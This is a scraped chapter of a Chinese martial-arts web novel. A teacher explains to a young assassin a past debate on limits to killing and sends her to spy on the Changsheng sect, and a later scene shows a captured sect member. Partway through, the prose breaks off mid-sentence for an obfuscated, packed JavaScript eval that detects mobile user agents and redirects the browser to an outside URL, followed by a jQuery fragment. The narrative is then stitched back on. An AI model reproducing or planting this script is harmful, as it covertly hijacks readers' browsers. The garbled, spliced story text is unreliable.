默认冷灰
24号文字
方正启体

4. 论道

作者:四边鹿本书字数:K更新时间:
    恰恰二十年以前,上一任云落阁主,江诤和阁下召集全武林英雄好汉王八蛋,召开“从善会”。


    周先生缓缓道:“那时候先帝在位,性格比较……不计较,因此老阁主这个领袖当得还算名副其实。当时的大会很热闹,即使是以三只手见名的隗家都来了。”


    “要论的,却是刺客一道。”


    喻溪想了下自己的身世,腹诽道:“那结果很明显了,就是十事成了九——一事没成嘛。”


    “几位德高望重的前辈都一致言——即使杀道也该有道。于是列了四禁:不可杀大德者,不仁义;不可杀为官者,易惹祸;不可杀恩己者,缺大德;不可杀遗孤,留一线。”


    “不管在座诸位心里怎么想,面上都挺赞成,一个后生却公然站起来反对。”


    “他叫段摘。”


    喻溪原本听得一愣一愣的,听到这个名字,眉头微蹙。


    周先生道:“他说,那依照诸君言论,不就是说‘没大名、没当官、没走狗屎运救了个刺客、全家没死光’的人活该被杀,既然如此,何必叫什么善与不善,叫选与不选更恰当吧!”


    “说完,他当场提笔,在老阁主心爱的桌子上写了一联,便是‘何苦自囚于八德,不如从心随青蚨’,朗声念道:快哉快哉,正道也不过如此。当即离席。”


    那十六字就刻在快哉楼大门上!喻溪天天看,哪里会忘。


    所以她听完后,第一个想法是:“那我杀他杀对了,是吧?”


    周先生却说:“对,也不对,也无关系。你道二十年前,众道首齐聚,拿不下一个未成气候的他?”


    他轻轻一哂,道:“因为‘正’除了在小朋友心中,只能在字帖上写得横平竖直——从善会能开起来,只因它只叫从善:劝人向善和禁人行恶是两码事。”


    “溪儿,你说‘我要做个好人’——可你要追求的正道尚且与蝇营狗苟共存。白不是靠把所有的黑一刀除掉——刀会断掉的。”先生的声音很轻,却很有重量,给了直率热忱的少女当头一浇。


    此刻,周先生面无表情的脸,锋利地划出深刻的分割线。


    周无故不是那种满腹牢骚、酸不拉几的中年书生,也不像动辄打学生手板的大儒学究,有时候都称不上世俗所说的正经人——天地君亲师,他貌似就尊重了一个“亲”,吵架没问候过人家妈妈。


    他似乎有很多长篇大论,但没一条要她死记硬背,根据喻溪的记忆,俩月前的先生还是个喜欢把胡说八道当下饭菜的货,经常记错自己的“名言”;


    他一路上从没要求过她去干什么,她干了什么,也没横加指责过。


    这是第一次,他终于有了个先生的模样,把学生满页飘红的卷子单独拎了出来,写上比答案还多的批语。


    听到前面时,喻溪端端正正坐着,心里说的却是“正道好没用哦”,到了后面,又茫然地想:那什么是有用的呢?


    良久,早点上的热气已悠悠散开了,说书老先生故事也说完了,得到热烈反响。


    与热闹隔开的两人听了一耳朵,大约是说二十年前的正道前辈们联手,封掉了一个“畜人戏班”。


    喻溪抬起头,像是忽然间长了一岁一般,无知的孩子气从脸上褪去一些。她轻轻道:“我明白了,这便是不能有所为,那就先有所不为吧——两个月以前你说过。”


    周无故似乎有点惊讶,不过,很快就笑了,眼里闪过欣慰:“是,你学得很快。那么,刀什么时候出鞘,想必你心里已经有数了,我就不多嘴叮嘱了。”


    喻溪闻言一愣,正想说“我哪有数”,就听他接着说道:“这便是我第一个条件;还有另一个,就是要你以后出门在外,莫贪小便宜,为了些蝇头小利,因小失大。能答应我吗?”


    虽然,喻溪从小到大没单独买过东西,但她格外自信,一听,马上“领悟”了先生的意思:不就是便宜的不要,挑贵的买吗?


    简单!


    于是爽快点头。


    刺客不轻许言,一诺千金,周无故暂时没想到谁能主动占得了她的便宜,因此也不以为意,便略了过去。


    他斟酌一番,把诞生就为了硌手的印信往前推了推,说道:“这便是我要你帮忙的事……嗯,多少也算是个好人好事?听说过长生教吗?”


    两刻钟后,吃饱喝足的少女高高兴兴地跑上楼补觉去了。


    大堂上,只剩下周无故有些疲惫地揉了揉额头。


    该说的都说了,多的没必要和她叮嘱,他想了想,找了掌柜的要了张白纸,就着还没收拾干净的桌子写了封信,盖了个花哨的印。结了账,顺便嘱托掌柜去找个信使,送到南边江家,到付。


    周无故愁愁地叹了口气,转身匆匆离开,汇入赶早的人流中,消失不见。


    信启:江风陵;


    落款:顾吾周。


    照周……顾先生的想法,他打发喻溪去暗中调查长生教,说是帮忙,实则就找个活计,让小姑娘暂时别到处乱跑,又让她有事可做——这女子可不是要人小心呵护的花瓶。


    于公于私,顾吾周都不愿意看到雏鹰在温柔乡里蹉跎岁月,否决了将她托付给谁的想法。


    另外,喻溪最好北上,极佳是去到天子脚下——快哉楼又不是死了个主人就塌了。


    至于那长生教是善是恶,顾先生自己也说不好,他派喻溪去,主要考量有三:一是因为位置很合适,就在天子大脚下;二是他觉得此教根基尚浅,顶多皇上偏宠,威胁不大;三则是,四个月前他早已去信一封,让江风陵派人去盯住他们。


    顾家与京师比邻而居,京城里达官贵人有一个算一个,全在“暗恋”顾家。


    摊上这么个邻居,顾家多年一直被各种眼睛盯着,在京城路线自然不如云落阁,有事自然该江家多多出力。


    顾家主想法很美好,反正他们人多力量大嘛,相必暗中关照一个小姑娘也没什么问题。


    然而智者千虑,万无一失,也防不住蠢人千虑,灵机一失。后一封信,江阁主却暂时收不到了。


    因某教忽然抽风中邪,万年不出门的拥竹阁下眼下早已不在南边也。


    那厢,仲美人一曲落下,万籁俱寂,余音绕耳,骇人视听,众人面面相觑,两股战战,都快尿了。


    不难听,公


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274967|198196||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    平地说,甚至悦耳,能在勾栏里站一席之地。但市井流传的鬼故事里,人们害怕老宅深夜爱唱歌的红衣厉鬼,也不因为它唱得难听吧?


    “!”


    即便是“还冬手”,也不能三句话内把整间屋子面面俱冻,红衣美人两嗓子做到了,甚至让“还冬手”本人都打了个寒颤,差点不慎把手里捏着的安仇掐死了。


    “咳咳……不是,你是小、小榆儿?”安仇眼尾一颤,艰难地吐出一句话,脸上挂着老实人式的震惊,心里却翻涌起巨浪。


    岂不是说,十日前……


    “是也。”大美人笑着抛了个媚眼,“惊喜吧?哼,想入安大人这样的大红人的眼,我当初可是赤胳膊露腿,跳了一整曲西域舞!后来为了跟住你,在勾栏又扮女装,实打实唱了十天的戏,牺牲大着呢!”


    “唉,可惜有些人还凶我。”他抹了把眼睛。


    “……”


    祝宣终于没翻白眼了,后退两步,震撼又颇为敬仰地看了“牺牲很大”的某位一眼,总感觉他乐在其中似的。


    另一边,“榕山剑”丛悦榕和江风陵好像竖起了道无形的墙,二人仿佛又聋又瞎,并不理会。


    丛悦榕默默把手上冒起的鸡皮疙瘩搓下去,若无其事地说:“崇拜狐狸?面具是一只怪狐狸头,章子上也像只……拍扁的狐狸头?莫非狐狸还有延年益寿的功能?”


    江风陵把面具放脸上比了比,闻言摇头,道:“非也,它名飞黄——‘状如狐,背上有角,乘之寿二千岁’。这是顾兄给我的信上所言。”


    这狐狸面具模样好生奇怪,估摸长生教也不知如何在一个扁平的面具上,体现出“背上长角”。但他们又不能放弃这个特点啊,不然岂不是和那些拜“胡大仙”的土鳖一样了吗?


    可怜匠师,整来整去,最后勉强交差。


    乍一看,脖子长角!


    捏着不知道被几个人戴过的狐狸头,阁主到底没有把它扣在自己的俊脸上,只是粗略比一下大小,嗅一下它的气味。


    “不过实情如何,有一位恐怕比我们更清楚。”江风陵淡淡地说。


    正揣摩他们对话的安仇听了,以为终于要进入众所周知的审问一程了,连忙道:“诸位大人,我什么都不知道啊,冤……”


    “鸣冤鼓”还没来得及敲响,正人君子却没按套路出牌。只见他从腰间解下了一个小竹笼,捏出一只……老鼠。


    背上有一竖紫毛的耗子顺着江风陵修长的指节,去面具面前嗅了嗅,顿了一下,一躺,用它舒服地蹭毛。


    主人把它拎起来,丢在地上,紫背小鼠蒙圈地追着自己尾巴,团团转了几圈,忽地小脑袋一顿。


    下一刻,它就像发现大米一样,噔噔噔地朝“肉票”本票冲过去,十分谄媚地往他身上钻。


    “……”安仇惊疑不定地看着它,忽然一个想法涌上心头,瞳孔巨震,甚至顾不上掩饰,霍然抬头——除了没预料到自己这辈子还能被耗子拱,还有——


    它该不会就是“寻香小鼠”吧?!


    “养这种东西,大裕的武林正道代表,是不是该给个说法?”长生教大人哑声道。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)